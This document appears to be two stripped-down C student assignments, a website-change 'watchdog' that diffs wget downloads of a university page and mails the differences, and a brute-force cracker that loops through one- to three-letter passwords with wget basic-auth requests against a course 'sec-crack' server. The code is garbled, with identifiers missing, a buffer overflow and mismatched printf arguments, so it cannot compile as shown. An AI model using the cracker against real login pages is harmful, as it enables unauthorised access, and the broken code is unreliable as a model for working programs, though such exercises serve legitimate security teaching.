#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>

int ()
{

 FILE *fp;
 char [100];
 int flag = 0;
 system("rm index.html*");
 system("wget http://www.cs.rmit.edu./students/");
 system("wget -p --convert-links http://www.cs.rmit.edu./students/");
 system("mv index.html index1.html");
 sleep(8640);
 system("wget http://www.cs.rmit.edu./students/");
 system("wget -p --convert-links http://www.cs.rmit.edu./students/");

 system("diff index1.html index.html > out.txt");

 fp = fopen("out.txt","r");

 if (fgets(,100,fp) != NULL)
 {

   flag = 1;
   printf("\nThere  changes in the website.Check your mail\n");
   system("mailx -s \"output of watchdog\"  < out.txt");

 }

  if(flag == 0 )
   printf("\n    changes in the website\n ");
 fclose(fp);
 exit(1);

 }















#include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>

()
{
	int i,j,k,m,count=0,flage=0;
	FILE* log;
	time_t ,finish;
	double ttime;
	char s[30];
	char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
	char add[100];
	strcpy(add,"wget --http-user= --http-passwd=    -nv  -o log http://sec-crack.cs.rmit.edu./SEC/2/");
	=time(NULL);	
	for(i=0;i<52;i++)	
	{
		for(j=0;j<52;j++)
		{
			for(k=0;k<52;k++)
			{
			printf("%c %c %c\n",arr[i],arr[j],arr[k]);
			
			add[40]=arr[i];
			add[41]=arr[j];
			add[42]=arr[k];
			system(add);
			count++;
			log=fopen("log","r");
			if(log!=(FILE*)NULL)
			fgets(s,100,log);
			printf("%s",s);		
				if(strcmp(s,"Authorization failed.\n")!=0)
				{
					finish=time(NULL);
					ttime=difftime(,finish);
					printf("\nThe password is %c%c%c \nThe time:%f\n The  of attempts %d",arr[i],arr[j],arr[k],ttime,count);
					flage=1;
					break;
				}
			
				fclose(log);
			}
		}
	}
	if(flage==0)	
	{
		for(i=0;i<52;i++)
		{
		add[40]=arr[i];
		system(add);
			count++;
			log=fopen("log","r");
			if(log!=(FILE*)NULL)
			fgets(s,100,log);
			printf("%s",s);
				if(strcmp(s,"Authorization failed.\n")!=0)
				{
					finish=time(NULL);
					ttime=difftime(,finish);
					printf("\nThe password is %c%c%c \nThe time:%f\n The  of attempts %d",arr[i],ttime,count);
					flage=1;
					break;
				}
			
				fclose(log);
		}
	}
	if(flage==0)	  
	{
		for(i=0;i<52;i++)
		{
			for(j=0;j<52;j++)
			{
			add[40]=arr[i];
			add[41]=arr[j];
			system(add);
			count++;
			log=fopen("log","r");
			if(log!=(FILE*)NULL)
			fgets(s,100,log);
			printf("%s",s);
				if(strcmp(s,"Authorization failed.\n")!=0)
				{
					finish=time(NULL);
					ttime=difftime(,finish);
					printf("\nThe password is %c%c%c \nThe time:%f\n The  of attempts %d",arr[i],arr[j],ttime,count);
					flage=1;
					break;
				}
			
				fclose(log);
			}
		}
	}
	
}
